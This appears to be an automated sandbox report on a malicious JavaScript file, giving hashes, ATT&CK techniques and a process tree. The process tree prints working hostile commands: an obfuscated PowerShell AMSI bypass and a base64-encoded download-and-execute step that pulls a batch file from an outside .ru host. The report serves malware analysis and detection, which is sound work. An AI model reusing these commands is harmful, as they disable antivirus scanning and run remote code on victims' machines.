bc27b3afc72c925df021166fccc262ccf75e2be6f8b04c6772ed36ee8d5a1de0

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
07/02/2025, 05:14

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General

Target

cd123c288f623878218be31125000441bb8c5447375af67bc3c1d27d16eb5f8c.js
Size

10KB
MD5

14b3fe437467996209704e6ebaac0f0a
SHA1

76352226e921e8cf57746c551735cd913c3e45c8
SHA256

cd123c288f623878218be31125000441bb8c5447375af67bc3c1d27d16eb5f8c
SHA512

a4bbc226b4e35afa37702d852325a83103570b01ed76b151ab05a1f96ff855fa12579836dea116e5a9e64bbec63606773ac49ac3b2147a2cd001f46e4d8f93de
SSDEEP

192:mpu81rs1WEVHAq/azhC8bw33tDMRI7xxYG8N0vJod67czsGSVXi:mU81rW1lTyzM33du0viCczSXi

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2724	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2724	powershell.exe
2304	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2724	powershell.exe
Token: SeDebugPrivilege	2304	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2832 wrote to memory of 2764	2832	wscript.exe	30
PID 2832 wrote to memory of 2764	2832	wscript.exe	30
PID 2832 wrote to memory of 2764	2832	wscript.exe	30
PID 2764 wrote to memory of 2724	2764	WScript.exe	31
PID 2764 wrote to memory of 2724	2764	WScript.exe	31
PID 2764 wrote to memory of 2724	2764	WScript.exe	31
PID 2724 wrote to memory of 2304	2724	powershell.exe	33
PID 2724 wrote to memory of 2304	2724	powershell.exe	33
PID 2724 wrote to memory of 2304	2724	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\cd123c288f623878218be31125000441bb8c5447375af67bc3c1d27d16eb5f8c.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2832
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\apk.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -C $FEIfwuioehfaiwyYOETWTRuwye = 'a'+'ms'+'iI'+'ni'+'tF'+'a'; $EF8034uowieypowiue = 'il'+'ed'; $Ceoiuwjoeuyfw = 'Sy'+'st'+'em.Ma'+'na'+'gem'+'ent.'+'Aut'+'omat'+'io'+'n.A'+'ms'+'iUt'+'ils'; $DFiowjhOHWOHEOUF = $null; sleep 1; $text = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('W1JlZl0uQXNzZW1ibHkuR2V0VHlwZSgkQ2VvaXV3am9ldXlmdykuR2V0RmllbGQoJEZFSWZ3dWlvZWhmYWl3eVlPRVRXVFJ1d3llICsgJEVGODAzNHVvd2lleXBvd2l1ZSwiTm9uUCIgKyAidWIiICsgImxpYyxTdCIgKyAiYXRpYyIpLlNldFZhbHVlKCRERmlvd2poT0hXT0hFT1VGLCR0cnVlKQ==')); iex $text; sleep 1;$BBQ = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAiaHR0cDovL3NvdXRobGFuZGVyLnJ1L2RrbGZoZ2pkZmhnamQ3OGtoZGdmamdoL2FrdC5iYXQiIC1PdXRGaWxlICIkZW52OlRFTVBcYWt0LmJhdCI7IEludm9rZS1FeHByZXNzaW9uICIkZW52OlRFTVBcYWt0LmJhdCI7')); $CCQ = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($BBQ)); Powershell -E $CCQ
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwBzAG8AdQB0AGgAbABhAG4AZABlAHIALgByAHUALwBkAGsAbABmAGgAZwBqAGQAZgBoAGcAagBkADcAOABrAGgAZABnAGYAagBnAGgALwBhAGsAdAAuAGIAYQB0ACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAYQBrAHQALgBiAGEAdAAiADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAYQBrAHQALgBiAGEAdAAiADsA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\apk.js

Filesize
3KB

MD5
a56dc65b1a1a28d7bedae072e521150d

SHA1
975296e54e8f05b793187048152903ec85d21868

SHA256
2da128f83fbae17fd5eadb31bc36be585d8b7c5982355288b58c4d8a4554254e

SHA512
6e04f9a0f56990e2d534a1f9bf9ececdad03182160d6236c570181d3848cd6ea838bbeeb12a53d29ba597c8634c21fdd2614b4c10f7412afd40d89bef3f155ec

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e8da35864cd561cbbb8cefd7e330b2b9

SHA1
555b47ca3e2927a51206959c767eecc53e1601ef

SHA256
38a1ad206c2f866b9cbdfd50ec1defc68a4af674203ff0547283a71d31212e00

SHA512
3eeeb2fffdfed3a80a18498e7b40f97bf52e0fc64b5d3434e4771b068530e35b50b38d05f19aa389edc9caf7007492e680c1ce0ae1e0a7f8b70610379bd2968f

Download Submit
memory/2724-8-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2724-9-0x0000000002070000-0x0000000002078000-memory.dmp

Filesize
32KB

Download